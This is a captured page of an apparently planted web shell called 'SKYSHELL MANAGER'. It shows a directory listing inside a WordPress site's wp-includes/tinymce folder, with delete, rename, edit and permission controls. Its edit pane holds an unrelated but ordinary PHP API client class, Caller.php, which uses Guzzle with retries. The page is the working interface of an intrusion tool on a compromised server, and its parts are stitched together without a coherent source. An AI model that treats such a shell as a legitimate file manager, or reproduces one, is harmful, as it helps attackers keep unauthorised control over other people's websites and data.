📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Caller.php
<?php namespace App\Service\NcGatewayApi; use App\Service\NcGatewayApi\Exceptions\NcGatewayApiException; use App\Traits\RequestBodyCreatorTrait; use GuzzleHttp\Client; use GuzzleHttp\Exception\GuzzleException; use GuzzleHttp\Psr7\Request; use GuzzleHttp\Psr7\Response; use Psr\Http\Message\ResponseInterface; abstract class Caller { use RequestBodyCreatorTrait; public const PROTOCOL_VERSION = '1.0.0'; public const GATEWAY_DELAY = 3; public const GATEWAY_RETRY_LIMIT = 3; public const ERR_MSG_RETRY_LIMIT = 'Gateway API error: retry limit (%s) reached'; public function __construct( private readonly string $apiUrl, private readonly string $gatewayAccessToken, private readonly Client $client ) { } /** * Call Gateway API and return parsed response * * @param string $method API method * @param array $parameters API parameters * * @return array * * @throws NcGatewayApiException * @throws \JsonException */ protected function call(string $method, array $parameters = []): array { $body = json_encode($this->createRequest($method, $parameters), JSON_THROW_ON_ERROR); $headers = ['Content-Type' => 'application/json']; $request = new Request('POST', $this->apiUrl, $headers, $body); $response = $this->callWithRetry($request); $data = $this->parseResponse($response); $this->checkApiError($data); return $data['result']; } /** * @param $request * @return mixed|ResponseInterface * @throws NcGatewayApiException */ protected function callWithRetry($request): mixed { $retryCounter = 0; do { try { return $this->client->send($request); } catch (GuzzleException $e) { if ($retryCounter++ === self::GATEWAY_RETRY_LIMIT) { $message = sprintf(self::ERR_MSG_RETRY_LIMIT, self::GATEWAY_RETRY_LIMIT); throw new NcGatewayApiException($message); } sleep(self::GATEWAY_DELAY); } } while (true); } /** * Parse API response * * @param Response $response * * @return array API result * * @throws NcGatewayApiException|\JsonException */ private function parseResponse(Response $response): array { if ($response->getStatusCode() !== 200) { throw new NcGatewayApiException('Wrong response status code'); } $content = $response->getBody()->getContents(); $data = json_decode($content, true, 512, JSON_THROW_ON_ERROR); if (!is_array($data)) { throw new NcGatewayApiException('Wrong response format'); } if (empty($data['version'])) { throw new NcGatewayApiException('Protocol version missing'); } if (empty($data['meta']['timestamp'])) { throw new NcGatewayApiException('Protocol timestamp missing'); } if (empty($data['meta']['server'])) { throw new NcGatewayApiException('Protocol server missing'); } if (!array_key_exists('result', $data) && !array_key_exists('error', $data) ) { throw new NcGatewayApiException('Response without any result or error'); } if (array_key_exists('error', $data)) { if (!isset($data['error']['code'])) { throw new NcGatewayApiException('Error code missing'); } if (!isset($data['error']['message'])) { throw new NcGatewayApiException('Error message missing'); } } return $data; } /** * @return string[] */ private function getRequestAuthParameter(): array { return ['accessToken' => $this->gatewayAccessToken]; } /** * @param array $data * @return void * @throws NcGatewayApiException */ private function checkApiError(array $data): void { if (!isset($data['error'])) { return; } $error = $data['error']; throw new NcGatewayApiException($error['message'], $error['code']); } }
Save